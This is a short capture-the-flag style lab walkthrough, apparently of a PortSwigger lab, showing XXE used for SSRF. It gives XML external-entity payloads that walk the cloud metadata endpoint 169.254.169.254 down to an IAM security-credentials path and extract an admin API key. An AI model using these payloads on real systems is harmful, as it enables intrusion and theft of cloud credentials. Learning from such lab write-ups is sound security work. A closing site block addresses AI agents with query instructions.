# Exploiting XXE to perform SSRF attacks

<div align="left"><figure><img src="/files/5pHGAVKsKMqImEmSk0NR" alt=""><figcaption></figcaption></figure></div>

## <mark style="color:red;">Exploitation</mark>

the lab has a "check stock" feature that parses XML input and returns unexpected values

<div align="left"><figure><img src="/files/hMgcPHeyihmjdoN55g6p" alt=""><figcaption></figcaption></figure></div>

send to repeater

<div align="left"><figure><img src="/files/KSauKhDF7q2SlU5uVJQc" alt=""><figcaption></figcaption></figure></div>

```markup
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

<div align="left"><figure><img src="/files/qSbtbN1tM248rJpscgQ6" alt=""><figcaption></figcaption></figure></div>

so it reveals the directory latest -> let's now make request to <mark style="color:blue;">**<http://169.254.169.254/latest>**</mark>

<div align="left"><figure><img src="/files/wjbU6en5jW48zKSnVWmQ" alt=""><figcaption></figcaption></figure></div>

and it keeps revealing directories so each time a directory revealed make an http request to it using xxe vulnerability until you find the last diretory where the API KEY exist

doing this we will find that the api key exist on `http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/`&#x20;

```markup

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```

<div align="left"><figure><img src="/files/Ja4g6pO8GsM2hKijaqhh" alt=""><figcaption></figcaption></figure></div>

<div align="left"><figure><img src="/files/JnLorI7NPxzzQcsadYgB" alt=""><figcaption></figcaption></figure></div>

hope you found this walkthrough easy to understand and follow

Greeting From [<mark style="color:red;">**Sayonara**</mark>](https://github.com/ismail-arame)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://sayonara.gitbook.io/writeups/portswigger/xxe-xml-external-entities/exploiting-xxe-to-perform-ssrf-attacks.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
